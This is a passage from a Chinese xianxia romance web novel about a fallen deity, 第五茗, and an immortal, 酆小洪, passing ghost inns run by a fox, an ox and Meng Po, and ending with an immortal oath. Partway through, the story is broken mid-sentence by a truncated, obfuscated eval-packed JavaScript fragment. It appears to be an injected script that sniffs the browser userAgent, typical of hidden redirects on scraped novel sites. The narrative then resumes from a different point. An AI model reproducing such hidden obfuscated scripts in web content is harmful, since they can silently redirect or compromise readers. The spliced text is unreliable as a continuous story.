早她一步,迷魂店四号前,酆小洪和埭骰看见第五茗和埭桡有说有笑,勾肩搭背,二人便没理会第五茗的意思,怀着相同心思,前后一起走了上来。 酆小洪先挤开了第五茗身边的埭桡,埭骰来势快,没有动作承接,便只能尴尬地胡乱张口询问了一句,道:“我们是要在迷魂店三号住店吗?” 顺着身上的动势,他越过第五茗等三人,朝门扉凑了上去,顺带瞧了一眼。 埭桡随埭骰身后而来,他不想埭骰忧心,便没有把知道关于第五茗的秘密,告诉埭骰,而是拉了埭骰一把,吐槽道:“你想什么呢,里面都是箱子,哪里看着像是休息的地方。” 店内,积极又热络地传来一招呼,道:“迷魂店三号,虽不提供吃食,但住店睡觉还是很方便的,店掌柜也提供叫醒服务。” 门扉处,本来黑黢黢一片,随着‘滋啦’,油火爆炸的声音,一盏烛火在堂内亮起,鼠头人身的店老板,抱着一个木箱席地而坐。 他手上不停,三两下,箱子口被打开,从里面抱出一口和姬小鸡鸡圈里一样的瓦罐,但更破旧,上面还有裂纹。 他打开尸瓮的盖子,轻轻拍了拍尸瓮的壁口,轻唤道:“一一三七顾客,请醒一醒,您的入住时间到了,如果还要在本店休憩一日,请续费五百冥钱。” 尸瓮内,窸窸窣窣,五张百两冥钱从里面扔了出来,里面接着传来阵阵呼噜声。 鼠头人身的店掌柜,轻手轻脚,把尸瓮盖子盖上,又放回了箱子里,合上后,起身将箱子码放在身后侧的箱子上,箱子前的地上,都用白色石粉,按照「夜半、鸡鸣、平旦、日出、食时、隅中、日中、日昳、晡时、日入、黄昏、人定」划分。 刚刚那续上房费的箱子,放在了日入的白线后。 而此时,按照人间时辰核算,正是酉时,太阳落山之时。 也是冥界地府的日入时分。 他又特意将箱子转了几面,直到箱子上「一一三七」的数字漏了出来,才满意地走回了门扉后的空地儿。 正准备席地而坐,看清了门外,刚刚还背对门扉的红衣女子的脸,鼠掌柜声音冷淡了些许,道:“见过上君,你回来了。” 第五名抬手回礼,客气道:“回来了,钱掌柜生意还算兴旺哈。” 迷魂店三号的老板叫钱多宝,他这家店,只为提供休憩用,那些有点小钱,又没有什么大钱的幽魂,误入了左腿子道,多半都是在他这里下榻。 只要有小鬼上门,他的店都是来者不拒。 加上活着时,钱多宝是只总挨饿的老鼠,所以他格外抠搜,不愿意置办内景,在人头路捡了幽魂不要的尸瓮和石灰粉,勉勉强强凑出了铺子现有的规模。 更多时候,是小鬼挑他,而不是他择小鬼。 钱多宝道:“还行,最近又加了几身床,能勉强度日,倒是迷魂店一号的牛大,你走这段时间,没见有几路鬼进去过。” 街上买卖的事,埭骰埭桡听不懂,酆小洪从进来后,除了在迷魂店三十七号门口,与第五茗打趣了一番,就跟着第五茗行动,不再搭话,也不好奇。 第五茗四顾无助,面上尴尬,掩面笑了几声,道:“是吗?” 她猛然拍上脑门,道:“哎呀,时辰不早了,我们走了好半晌了,有些口渴,先走了。” 钱多宝躬身行礼,眼神嫉妒,送走了第五茗等人。 人一走,门前一空,钱多宝又盘坐在地上,掐算时间,点数屋内的箱子。 走到迷魂店一号和迷魂店二号之间时,酆小洪才向第五茗问道:“上君和迷魂店三号的掌柜有过节?” 第五茗摇头叹气道:“也不算过节,之前抢了他一桩五百冥钱的生意。” 三人都侧耳听了过来,第五茗继续道:“谁知道那只猫身价那么低…活着的时候,我和它住在一家商户里,它长得好,会舔人,吃穿用度,那商户给的都是最好的,我以为死后,它陪葬银钱也不少,才想着带它住好地儿,谁知道那只猫听说钱多宝店里住一晚只要五百银钱,它就心动了。当时买卖既定,只差付款,那只猫却被我硬生生拽走了。” 右边,急竹繁丝,欢笑声和喘息声阵阵,瞬时涌入街道中,第五茗停顿下来,不再讲过往,急忙拉起酆小洪的手腕,拖着他朝前大步走去,并大声叮嘱身后的埭骰埭桡道:“别四处看,先到迷魂店零号再说…” 酆小洪道:“上君怎么了?” 他刚准备朝声音来源看去,脸上突然多出一只手,紧张地阻止他的动作。 酆小洪盯着面前一手牵着他,一手捧着他脸的第五茗,拘束地呢喃道:“上君…” 第五茗紧戒十足,她暗自庆幸,酆小洪没看见,不安道:“仙君,别看。” 酆小洪点点头,第五茗的手已经收了回去,他脸上和手腕处,都是第五茗鬼身带来的冰凉。 他点头听话道:“嗯,好。” 他倒是好了… 可是,第五茗没顾上的埭骰埭桡却有些不妙… 为时已晚。 在第五茗埋头讲和钱多宝的恩怨时,埭骰埭桡早就东张西望。 他们对冷冷清清的迷魂店一号,无所在意,眼耳…乃至全身五官、体感,都为热闹非凡的迷魂店二号所吸引。 酆小洪身后没有脚步声,第五茗朝旁边挪了一小步,从酆小洪的身体望回去,一眼就看见埭骰埭桡,二人呆呆傻傻地站在迷魂店二号门口。 他们白青脸面里,正散出一圈可疑的红晕。 第五茗低咒一声,道:“我就知道…真是胆大妄为!胡媚你居然敢对鬼差上媚术!!” 33. 左腿子道迷魂店2 说罢,第五茗抬脚准备去拖回埭骰埭桡,想起身边还有一人,又撤了回来,再次叮嘱道:“仙君,你不要跟来,迷魂店二号的掌柜是狐狸成精,惯会使用媚术…” 想了想,她还是不太放心,又特意道:“你也不要去看门内东西,当心脏了眼睛。” 她撩袖,准备上前大干一场,结果酆小洪抓住了她的手,道:“上君,你要去那家店?” 第五茗摇头道:“我不去店内,两无常受了迷惑,走不动道,我去把他们拉回来。” 酆小洪没有松手,低语道:“上君也别去,在这里唤一两声,他们能醒神就带他们走。” “这…不太好吧?” 第五茗心中想道:万一唤不醒,岂不是害了他们?这可是比冷鸡汤更毒啊! 埭骰埭桡一没钱,二没权,真被胡媚拉进去了,那就跟卖身没什么区别了。 虽然…两人长得不怎么样… 万一呢! 万一那两身无常袍子下藏着一副好身材… 第五茗越想越觉得不对,拼命摇了摇脑袋,否定了酆小洪的提议。 而她手上,酆小洪也没有松开手。 酆小洪看出第五茗的纠结,思忖片刻,道:“那我跟上君一起过去。” “不行!” 又想了一会儿,第五茗憋出来一句,道:“那门扉之景,仙君真瞧不得,会污仙君神誉,你不用跟我一起过去的。” 两人争执间,迷魂店二号的门扉前,由埭骰埭桡带头,陆陆续续已经围上了不少小鬼。 不用细说,酆小洪早从第五茗这几句话,和迷魂店二号门前小鬼的神色中,猜测出里面是做什么的了,轻皱眉头,追问道:“上君曾去过了?” 第五茗冷吸一口气,斩钉截铁道:“没有!我没有!” 酆小洪转念,又问道:“那是瞧过了?” 这回,第五茗支支吾吾半天,才吐出两字,不对!是吐出三字,道:“没…没…有…” 问题还没答完,她脸早扭到了一边。 她也不知道自己在逃避个什么劲儿。 从左腿子道走过上千回,她若是真一眼也没瞟到,那才真是说不过去了。 第五茗内心挣扎一番,强装镇定,回视酆小洪道:“那门扉内,若是看了,确实有损神誉,若是着了道,指不定还会种下点因果…算了算了,仙君才飞升没多久,为了你神格着想,你我都别过去了,我就在这里喊两句。” 她这番话,在别人看来着实有些勉强之意,恰好,酆小洪松了她的手腕,轻描淡写道:“其实上君看了也无所谓,就算是去过也无所谓,情色之事,说起来有损神誉,但根本影响不了一位仙君什么…” 那语气,听着淡,‘闻’着重,说得好像此刻站在门口围观的小鬼当中有第五茗一样。 第五茗闭眼,咽气,朝身边人争辩道:“说了没有就是没有,不过先前路过时,有些荒诞之景入了眼,怎么弄得好像我做了好多事一样!仙君难道不信我所言吗?” 几句话,让人面红耳赤。 第五茗以前也不是一个喜欢害羞的仙君啊… 酆小洪低下头,浅笑小声道:“我信。” 答完不够,酆小洪还总结道:“上君这样说,我自是知道了,上君没有去过,我以后也会为上君做证的。” 这人怎么回事,非得逼人揭短!! 第五茗不理他,随即,对迷魂店二号门口继续大喊道:“胡媚!你仔细瞧瞧你门口是何人,别误拉了鬼差入内!” 一道娇滴滴的声音从迷魂店二号内传了出来,道:“哟~这声音这么耳熟,不会是我们的上君回来了吧?我这里刚好入了两坛百年茶酒,送到零号给你尝尝?” “百年?” 第五茗砸吧砸吧嘴,又抿了抿唇,双目失神,痴缠道:“茶酒…应该很醇香吧,小鬼也能喝…我也应该能喝吧…” “咳咳咳…” 站在她一旁的酆小洪,捂嘴轻咳,压声唤道:“上君。” 灵台清明,眼前酒香气味消失,第五茗回过神,心中怒火中烧。 在酆小洪的阻拦下,她才没有冲上前去,原地跺脚,嘴上大喊道:“好你个胡媚,你竟然也敢对我使用媚术了。” 迷魂店二号内,胡媚道:“冤枉啊…” 嘤咛婉转,声音似挠人的小猫,让听者欲罢不能,包括第五茗都有些沉醉。 胡媚委屈道:“我对客人们的媚术从不出店门,上君不信,寻了道上的店家来看看就清楚了,实在不行,寻一寻对面迷魂店一号的牛大哥,你也就清楚了,是上君您啊,又落了道行了。” 她还没说完,闲得发霉的迷魂店一号的掌柜——牛大,正好从门口走出来。 他开店之前就是一副人身,因舍不下鼻子上,生前主人为他带上的鼻环,而留了牛鼻子在一张雄壮精武的脸上。他光着膀子,看着门前围在迷魂店二号处的一群小鬼,闷气十足,插手站在了人群背后。 牛大略显不好意思地吆喝道:“打尖…住店,今日只需要一万两冥钱。” 两迷魂店之间站着的小鬼,浑身一震。 鬼影中,开始嘀嘀咕咕道:“一万?” “前面三号才五百冥钱。” “他店中是有什么宝贝吗?和迷魂店四号一样,有带来销魂一梦的鸡汤?” 埭桡也咬着牙,在鬼群中,吐槽道:“怎么不去抢!” “你看你们,一般见识了吧,要知道迷魂店一号这报价不算什么…二号和零号才是这条道上最高的,没有两万冥钱,诸位是连门也进不了的。” 埭骰也跟了句,道:“这么贵?” “哼,这还不算什么。” “没钱就去三号抢箱子住吧!” “啊~出来了,出来了。” “你们有福了。” “这福气,还不是迷魂店一号掌柜牛大的。” 迷魂店二号门扉处,狐毛轻飞,一只狐狸小足落在门外,顺着那只毛茸茸的小脚,慢慢蜕变成了纤纤细腿,腿上橙纱,金环,玉铃…缠绕,双足出,裙尾飞舞,钗寰玉饰,叮当作响,裸露的小足,蜻蜓点水,腰身袅娜娉婷,扭出一位我见犹怜的女子。 店前小鬼,目瞪口呆,随着女子身影一起转动。 连鬼影中,在内的女鬼,也忍住紧紧用目光锁着她。 而站在远处的第五茗,见出来之人,立马用双手和衣袖遮住了酆小洪的眼睛,虽然酆小洪一直背对着迷魂店一号和二号,第五茗还是忍不住道:“仙君别看,她模样俏丽得很,你还没恢复仙身,把持不住的。” 酆小洪笑了笑,拉下第五茗的手。 他眼前除了一个鬼影,哪还有其他人什么人,就算有,也不妨事。 酆小洪肯定道:“不会的。” 靡音诱人,而他,身姿昂然,依旧听话地,未转身,未偷看。 果然,如他所言,他未和小鬼一般被女子吸引。 反而是第五茗,她在酆小洪的阻拦下,一直原地踏步,焦灼难耐,眼睛也早忍不住,偷瞄声色之景。 那厢,出来的女子赤足而踏,轻快地,身影缥缈,转眼之间,从迷魂店二号台阶上,到了迷魂店一号台阶下,秀臂如蛇,缠绕在了牛大的粗壮臂膀上。 狐狸眼勾魂夺魄,腰肢软动,她紧贴牛大,软声道:“牛大哥哥,你来揽客啊~你快替我评评理,这些小鬼明明心神都是自由的,上君非赖我,说我又用媚术了。” 迷魂店二号内出来这人正是胡媚,她把脸颊贴在牛大的下颌处,蹭了蹭,楚楚可怜,魅惑至极,顺着牛大的呼吸,一起出,一起入,将二人呼出的气息揉混在了一起。 牛大手上一推,把紧贴的人推离了一臂远,哼动鼻上的环,抵抗道:“胡媚,不要对我用你的媚术。” 胡媚抱着牛大的手,跺脚道:“哎呀,为什么媚术对牛大哥哥你就是没用呢。” 继而,她对张望的第五茗笑道:“上君,你瞧见了吗?刚刚夺取牛大哥哥气息,那才叫是使了媚术。” 手如柔荑(ti),胡媚伸出手指,点向那群小鬼,最后又转向第五茗,委屈道:“小鬼…和上君,如此痴醉,那是 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她的青丝缠上了一头牛,而那只埋头吃草,抬头干活的牛,根本不知道,何为青丝,何为心。 那只牛只是知道,活着的时候,有一只狐狸总来妨碍他干活。 很是讨厌… 牛的忠厚老实,在胡媚日日守株待兔中,被她放在了心上。 某一日,牛的主人看见了牛身旁的狐狸,用牛做陷阱,挟持了狐狸,牛终于因为狐狸第一次违抗了主人,狐狸逃了,牛被主人斩杀了。 胡媚的心竟然在牛体身死的时候,随之而出,她苦守在牛尸体边,以肉身相送给牛的主人,换了牛的魂魄自由。 本以为,狐狸丢了心,牛没了主人,一狐一牛两不相欠,各自走各自的路。 没想到,千年后,胡媚这只狐狸,居然在野鬼村又嗅到了青丝,还在她的对门,一个雄武粗壮,面有牛鼻子,鼻上有环的鬼男子身上。 此人正是牛大。 青丝就在鼻环上… 牛大又最在乎那只鼻环… 胡媚使出浑身解数,也没能碰到牛大鼻子上的鼻环,更别提和牛大交合,引出鼻环中的青丝。 她活着没成,万万没想到,死后,也依旧拿不回青丝。 她认命了。 万劫不复也好,日暮途穷也罢,谁叫她运气衰呢,选了头拉不动的牛。 这边热热闹闹,左腿子道上的迷魂店零号走出来一人。 那是位衣衫干练的青少年,他声音淡淡,却一点也不羞涩,端庄有礼道:“我们家大掌柜让我出来瞧瞧,什么事这么热闹,竟比我们家小掌柜归来还有趣,也顺带瞧瞧,道上是否有坏了规矩的店家。” 胡媚立即站好身姿,正声道:“这道上能有什么事,这几日,十殿阎罗动不动就派人来巡查,说什么有贵客将至,让我们安分点。我们在自己店内,哪能有什么动作,就算有那心,也没那个胆子啊。” 不得上街揽客——在场,的确有一牛坏了这规矩。 看了眼迷魂店零号门口,牛大鼻子哼哼,鼻环闪动,面色难看,转身回了迷魂店一号门内。 牛大走了,胡媚也没了兴致,玉足徐徐而动,一手拂纱,一手秀指轻佻小鬼下巴,尤其到了埭骰埭桡跟前,手指在他们脸颊上绕了一圈。 有迷魂店零号台阶上的青少年盯着,胡媚嘴上自然是不敢多说什么,只能手上和眼里漏出一道道勾子,让这些鬼影挪不动道,给迷魂店零号添添堵。 入了门栏,胡媚隐身在门扉内的层层薄纱中。 流连忘返的小鬼,以及埭骰埭桡,眼波流转,痴痴随着胡媚身影转动,到了门扉处,心神不稳,又被先前所见的景象吸引——男宠、美姬,婆娑起舞,没有房间的空堂,一层一层香云纱隔断,纱与纱之间还放了一口尸瓮,尸瓮不再只有瓦罐,它们形状各异,装饰豪华,让鬼心生出贪念。 地上一团团软乎乎的毛皮,托起长长的软纱,薄纱帘幕上身影错落,隐约能看见一纱一欢愉,伴随若隐若出的呻吟喘息,让鬼心又生出不少欲念。 34. 左腿子道迷魂店3 小鬼们和埭骰埭桡看痴了… 而第五茗注意力早不在这方,当迷魂店零号内出来那位青少年时,她听见了耳熟的声音,便眼巴巴地转身,望了过去,挥起手,吸引台阶上人的注意力,她高兴道:“小一,这里。” 小一眼色好,第五茗叫他的时候,他也正好看见了第五茗,闪身而至,躬身行礼,道:“小一见过上君。” 对比其他人,小一更显喜悦,他柔柔笑道:“您回来了。” 第五茗问道:“你刚刚说大掌柜叫你出来的?她有空了?在店里?” 一连三问,小一直起身,点头,不急不慢道:“嗯,熬汤的大锅碎裂,有些经不住折腾,每日能熬的汤就变少了,大掌柜这几日得了空闲,就来了野鬼村。上君赶巧了,大掌柜今日还在店中。” 阴风一吹,第五茗和酆小洪身上红衣簌簌,小一蹙眉道:“上君这身衣服是…情劫未成?” 第五茗摇头叹气,拽上衣袖,摊手,瘪嘴道:“不是情劫,只有天帝把情劫当回事儿,我不会给自己写那种无聊的本子…说来话长,反正就是又倒霉了,你待会儿先去给这位仙君找身清爽点的衣衫换上。” 她侧头,正好看见酆小洪额上眉头微蹙,低头摸身上大红衣料。 她心想道:‘吉利’喜服,小鬼见不喜,仙君见也不喜,确实应该抓紧换掉。 小一浅笑,缓缓道:“上君每回历劫,归来总说倒霉,但小一瞧着,上君气运还是极好的,此行还有仙君作陪。” 说完,他低身,朝酆小洪见了一个仙君礼。 酆小洪手从衣料上离开,背在身后,对小一点头回应。 小一含笑起身,侧让去路,引了第五茗和酆小洪入迷魂店零号。 刚上台阶,第五茗总归想起了迷魂店二号门前的两无常,无奈地对小一道:“给仙君备好衣服后,去把二号门口的一黑一白,名为埭骰埭桡的无常请到店内。” 小一十分懂事,不问原因,答道:“是。” 迷魂店零号,内境并没有多豪华,和寻常客栈相似。 入门是柜台,对面是空堂,堂上放了几张四方桌,桌子四面一边一条长凳,桌子上还有一个竹筒和一把竹筷。 堂的四方,除了门和柜台,其他两边,是挂了木牌的房门。 二楼也是,一圈房屋,和门上的木牌。 造景着实简单…很难将之与两万冥钱想到一块儿。 入内,空荡荡的堂厅,几位伙计和小一穿着一样的服饰,手上拿着抹布,在细致地打扫,第五茗问道:“门上怎么都有挂牌,一个住店的客人都没有?生意这么惨淡?雨无伤来了也不管事?我今日明明还在野鬼村村口拉了一位富足的男鬼,他没来?” 三人上楼,小一在前面引路,听见第五茗发问,半回头,一边走一边答道:“上君,你说的可是身材壮硕,模样看起来劳累至极,大汗淋漓,喘息不止的鬼魂? 第五茗点了点头,道:“你见着了?人呢?” 小一道:“让请去胡媚掌柜的二号店了。” 第五茗皱眉道:“胡媚也开始背地里抢人了?” 小一摇头道:“不是。上君有所不知,人是我们请过去的,店内也不是生意清冷,而是接了令,近日要住进来一批贵客。” 闻言,第五茗脚下一顿,急忙问道:“天上来的?还是地上来的?” 小一道:“天上。” 脚步声彻底止住,第五茗停了下来,她身后的酆小洪被迫停了下来,而刚走至二楼的小一正好也停了下来。 店内,只剩抹布摩挲的响动,酆小洪关心道:“上君,怎么了?” 紧随其后,小一也询问道:“上君,是有疑虑?” 第五茗朝小一点了点头,身体微微颤抖了起来,回头,对酆小洪思虑道:“仙君…我刚刚想了想,我还是不歇了,打算今晚就入鬼门关,找十位殿下商量商量,看能不能消了剩下的命数,抓紧时间投胎。” 下楼的路,有酆小洪挡在中间,第五茗没有地方可以下脚,她只能等待对方先动。 可酆小洪又问了一遍,道:“是发生何事了吗?” 二楼,小一身后,传来一女子声音,直白道:“上君衰成这样了,还怕仙君折辱?也不知你总怕这干什么,况且,这次又不是认识你的人来。” 小一转身,颔首行礼道:“大掌柜。” 酆小洪寻声看了过去。 第五茗也转头,望向二楼走道上,看清来人后,朝楼上人问道:“我不认识?雨无伤,你拿到名单了?” 她心里却幽怨道:怕什么!当然是怕尴尬了!! 你无知无感无情绪,当然没什么!!! 我还是有点自尊的。 雨无伤丝毫不带犹豫,道:“没有。” 走了两步,雨无伤站在楼梯口,楼下两人红衣顿时入她眼,有些刺目,她却想不出有什么奇怪的地方,与第五茗视线对撞,回了思绪,继续刚才的话题,道:“听说是来帮忙处理风雨江幽魂的,上君好好想想,此时愿意接手这种事的仙君,应该都是你我不认识,才飞升的,还稚嫩着的小仙吧,这你难道也怕。” 哦… 早说嘛。 我还以为是和之前一样。 来的仙君,不是特意绕道来嘲讽两句,就是泼一碗脏水,再帮我‘清衣’。 大庭广众之下,我也是很为难的。 抛散掉脑海里的想法,第五茗轻咳,又回头,改变主意,对酆小洪道:“仙君,我们还是歇一晚吧,你也累了。” 酆小洪道:“好。” 得了酆小洪的意见,第五茗提起裙角,两三步走到雨无伤身旁,提示雨无伤注意梯上来人,介绍道:“雨无伤,这是泰山仙府,入人道历劫的仙君,你上泰山述职的时候,指不定还见过。” 泰山上的仙君,无论仙职大小,因在东岳帝君近处就职,官位多多少少都高于冥界地府的鬼差阴帅,其中也包括雨无伤的孟婆一职。 听了第五茗的话,雨无伤先向酆小洪见了一份仙礼,才微偏脑袋,道:“没见过。” 仙礼都行了,却说没见过…第五茗朝酆小洪尴尬地笑了笑,手肘抵向雨无伤腰肢,支支吾吾道:“此身不是仙君仙身,你自然没见过。” 毫不理会第五茗的小动作,雨无伤道:“我乃孟婆,能望魂,面前仙君只有这一副魂容,我怎么会看错。” 第五茗诧异,小一早习惯了。 雨无伤说完那句话不够,还直接朝当事人问道:“我可曾见过仙君这副魂容?” 步梯上,酆小洪一怔,看了眼第五茗,答道:“未曾。” 雨无伤没见过的魂容,还是仙君历劫的化身,少之又少。 第五茗吃惊,嘀咕道:“不会真是仙容吧…” 雨无伤又问道:“仙君真的是自泰山而来?” 酆小洪又是一愣,继续看了看第五茗,见其眉头深重,背手握拳,诚然道:“自然。” 雨无伤自语道:“泰山上的仙君我都认识,为何我没见过你。” 第五茗疑惑,雨无伤的记忆力,冥界地府的小鬼那是有目共睹,她不禁在思索时,嘴中呢喃复述道:“啊…没见过…你居然没见过…” 新的魂容? 或是新的修出来的仙容? 陈诉事实,并非发问,第五茗因雨无伤的话,面色局促,疑虑沉思。 酆小洪则面色紧绷,视线从雨无伤身上,移到第五茗那有些异样的脸上。 刚刚第五茗小声腹语的话,他听得一清二楚。 酆小洪有些不安,道:“你没见过,难道本君就不是吗?看守奈何桥,熬煮孟婆汤,还在野鬼村开店,你又能有多少机会见到本君。” 明眼人都能听出来,酆小洪被人质疑身份已有些不悦,雨无伤却恍若不知,道:“本官能望魂,泰山上述职时,本官没见过你。” 他言语称“本君”,拿出仙职,她也不示弱,搬出官架子,自称“本官”。 尴尬,真的尴尬!! 别吵起来了。 如是想着,第五茗箭步上前,横插在雨无伤和酆小洪之间。 她伸手拽住雨无伤的手,道:“往日没见过,今日就算见过了,仙君金辉我见过,不会有假,别再起争执了。” 雨无伤抬头,眨眼,想了一会儿,道:“我没有争论。” 忽而,想到什么,她反手握住第五茗的手腕,询问道:“我刚刚看起来像是生气了吗?” 不甘心的,她又侧头,问向小一,道:“像是在吵架?” 小一点了点头,第五茗也点了点头,但现在听到雨无伤这么问,第五茗估摸清楚了,雨无伤那几句话不过是在模仿酆小洪讲话。 这么看,是酆小洪生气了!! 第五茗回神,微张唇齿,与低踩一节台阶的酆小洪,道:“仙君…你方才是与雨无伤置气了?你大人不记小人过,她在忘川河水里泡了太久,她无知无感无…” 无情绪,最喜欢模仿人。 不是有意要和你抬杠… 这可是在她店中,你别一脚把她也“踩”了。 在第五茗的解释中,酆小洪半压嗓子,打断她道:“上君总是觉得我在生气。” 再有一程就入鬼门关了,两人的关系一点没有进展,酆小洪心中估量: 何来生气… 不过是担心。 心思一重,就看起来像生气了吗… 到这里了,就算不成,也该把此行的事做了。 梯步吱呀作响,酆小洪跨上最后一节台阶,向前迈进一大步,站在走廊中央,与第五茗面对面,靠得极近,半弯腰身,迫使对方看向他眼睛。 楼道上四人愣住了,包括店内打扫卫生的迷魂店伙计,也感受到这边的不正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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换做以前,她还是司命,还是天上的神,接收信众诚心时,她只需要烧一点金辉,再送一份祝福。 如今,人家送的就是金辉,而她什么都没有,比之先前,更加局促。 她紧张道:“我…我…那个…我…仙君,这不行啊。” 扶起酆小洪,第五茗又道:“不行的,不行的,你…你…乱来。怎…怎么…能干这种事呢…” 旁边,雨无伤见识少,心意却好,淡淡劝道:“没有让你自证是仙君,我就是随口问问,犯不着浪费这么多法力。” 法力? 谁家烧法力烧别人身上的… 此金辉非彼金辉,第五茗紧张吼道:“他这是自证仙身吗!都是你害的,他…他…” 他烧的是神格!! 来不及和雨无伤细细解释,第五茗打算先稳定住这乱来的酆小洪。她看向面前此刻一言不发的人,对方好似早就盘算了这一出,泰然自若,脸上写着‘今日这事一定要干’的表情。 她强装镇定,别扭道:“仙君何必呢…一路上就已经很照顾我了,你用神格烧金辉给我…这不是陷我于不义吗?这哪有神仙吃神仙福气的道理,仙君的心意我收下了,仙君千万不要再做这种傻事了,若是施咒不当,你把自己烧没了,我可赔不起啊。” 这都什么事啊!!第五茗心道:弄不好,你还一不小心把我仙身补回来,烧给我一副新的神格,岂不是劫难未渡,就要送我回去了。 “烧神格?” “原来神格烧出来的东西和其他东西烧着时是一样的。” “小五,你眼神不好,你刚刚没看见上君身上的金辉吗?” “看见了…那上君得了别人神格,是不是就又飞仙了?” “不知道…” “我也是第一次见。” “只听说两万年前,有真君烧过…场面很壮观,那真君差点把自己烧死。” “这么危险?” “你以为呢…” 其他人,一句人一句,七嘴八舌,全然不顾当事人的面子,攀耳议论,还是楼上小一,捂着嘴假意咳嗽:“咳咳咳”,才掐断了众人的八卦。 小二等人瞬间闭了嘴,店内恢复静默,他们悄悄地注视着这边的情况,唯独不被约束的雨无伤,好巧不巧的提了一句,众人不知,她却知道的秘辛,道:“两万年前的那日,上君烧金辉,也是这样?真的差点把自己烧没了? 顿了片刻,雨无伤回忆起过往传闻,意犹未尽,道:“难怪押你回天上后,都传言说你快殒落了,原来烧神格真的会死啊…” 听之,酆小洪面色如霜。 众人倒吸一口气,心里惊叹:原来烧神格的真君就是上君啊!! 35. 飞升十仙皆在此1 哪壶不开提哪壶。 第五茗眼角抽搐,扫了过去,目光凝滞,道:“雨无伤,你能不能闭嘴!” 这一则「无语凝噎」雨无伤学得很好,她经常在小鬼和第五茗脸上看见,遂即变换身姿,萎靡不振,靠在小一身上,悻悻然,应对道:“好的,我闭嘴。” 解决掉雨无伤,第五茗回归正题,劝解酆小洪道:“仙君此法真的太过了,你的心意我明白,可当日之恩我已经忘了,仙君应当知晓神明不记,此愿就可以不用还,即便神明记于心中,他人俯首作揖,潜心拜礼,也可算作还愿。且还不说这一路仙君照顾我非浅…对了!仙君路上还赠与我了一瓶新生水,这东西可是珍贵至极,当抵万恩。” 而酆小洪却苦笑道:“我就知道,上君不会接受我的心意。” 第五茗厉声喝道:“仙君糊涂啊!哪有送神格当心意的!!就算你不把自己当回事,也当考虑考虑我啊,我很为难的。这…不行不行…你若是再这样…” 第五茗没注意到他眼中的一丝明亮。 酆小洪垂眸遮掩,一手握上腰间佩印,一手摊在第五茗面前,抢先一步道:“那换一样东西可不可以?” 加上他身子还是微微倾俯,看起来,像极了在祈求第五茗的同意。 也不知出于什么心里,第五茗伸出一只手,搭在了酆小洪递上来的那只手中,尴尬地一上一下,轻轻拍了拍,慌不择路,同意道:“只要不是神格就行!” 酆小洪摇摇头,笑道:“嗯,不是,绝不再送神格了。” 两人手掌之间,点点金光明灭。 那是仙君誓约… 金痕划于立誓双方的手掌之间,渗入法力,誓言便会显现。 简单的事虽然被复杂地办,却让第五茗心里松了一大口气。 见对方松口,又有得选,第五茗可能觉得刚刚的话还有不妥,又补充一句,道:“最好是死物,若是死物…你送我,我一定收下。” 死物好… 死物还可控,闹不出什么幺蛾子。 酆小洪笑容明媚道:“上君愿意诚心受我一物。” 第五茗强调道:“仙君,是死物。” 酆小洪道:“嗯,死物。” 第五茗道:“当然。多谢仙君好意。” 两人手掌间,光泽彻底暗淡,酆小洪微微笑道:“上君客气。上君看看手中立的誓约可还妥当?” “妥当妥当…” 一边翻掌,一边借着手中酆小洪余留下的法力,查看誓约,第五茗温声道:“‘愿受仙君一物’…哈哈哈哈,没问题,仙君还真不怕麻烦…哈哈哈,等一下…等一下…” 她目瞪口呆,不知所措,道:“为什么我是立誓人?不是仙君立誓于我吗?” 酆小洪丹凤眼狭长,却和她一样睁得溜圆,极其无辜道:“是怕上君像拒绝我方才心意一样狠心,才想要与上君结下仙君誓约…自然,应该是上君立誓于我。” 第五茗心想:糟了,被算计了。 其他人却是心中羡慕:还有人强制送礼的…真好。 酆小洪接着道:“况且就是一死物,上君不用上心,我不会送让上君太为难的东西,就是我自己炼制的一样法器,它有些认主,与上君结印,也是为了方便将东西赠与上君。” 第五茗呢喃道:“哦…原来是一认主了的宝贝,那行吧…” 朝着酆小洪扬了扬金痕消散的手掌,第五茗继续道:“这下一定收了。” 弄出这么大动静,第五茗心有余悸,小声嘀咕道:“当初我究竟是为你做了什么啊?亏你想得出来又烧神格给我,又诓我立誓约的…送个东西,还真是傻里傻气。” 在听见“一定收下”后,酆小洪就抬起头,后退小步,松了紧逼的架势,眼眸星光滑落,如尘埃落地,嘴上喜道:“明天我就把东西送来给上君。” 第五茗顺势点头道:“好好好…” 酆小洪又道:“上君不是要换衣服吗?” 两人身上还是那身尴尬地‘吉利’喜服,第五茗木楞道:“是…是啊。” 小一和雨无伤都还缩在角落里,第五茗转身向小一招手,小一扶正靠在他身上的雨无伤后,便向第五茗这方走来,雨无伤也整理好衣服,跟着一起踱了回来。 想起什么,第五茗回头,朝酆小洪询问道:“仙君有没有什么喜好?我是说衣衫。” 酆小洪答道:“青色。” 雨无伤眼神在身前红衣二人之间流转,在第五茗沉默的这一大会儿时间里,她思考了须臾,最后还是决定浅浅嗤笑一声。 那声笑,着实听着太像在讽刺酆小洪了。 第五茗白了她一眼,见她收了模样,才反问酆小洪道:“青色?” 酆小洪却不在意雨无伤和第五茗的反应,含笑道:“嗯,唯偏爱青色。” 收到肯定回答后,第五茗和雨无伤各自沉寂了。 不同的是,第五茗是因为酆小洪的‘唯偏爱青色’的喜好,雨无伤则是因为第五茗先她反应,投过来阻止她行动的冷淡眼神。 这厢,酆小洪若有所思道:“大袖为佳,如果没有,也没关系。” 青色? 大袖?? 这都是第五茗以前做司命的偏爱。 有些还保留至今… 这仙君真有意思,雨无伤脑中突然蹦出这样一个想法,又一副好学者的模样,挤在第五茗身旁,询问道:“存心不良?机关算尽?心坏鬼胎?你教我的这几则课言,哪一则现在可以用呢?” 酆小洪面色微凝,这话他倒是有些不明所意。 ‘课言’? 他看了看第五茗,又看了一眼雨无伤,虽然好奇,却不打算因为这些不好的词,再去询问究竟,让第五茗为难。 然而,第五茗却不能当没听见,她震声道:“哪一则都不能用!!不是接了调令吗?雨无伤你不用去盯着一点?上面的人来了,你出了马虎事,谁去给你兜着!!” 雨无伤还真的认真思索了一番,答道:“你。当然是你去兜着。” 居然还真的答了… 在旁之人,小一垂眼沉默,酆小洪身体微震,面色不变,第五茗则哑口无言。 雨无伤还在仔细分析道:“你是店内小掌柜,你为迷魂店兜事最合适。” 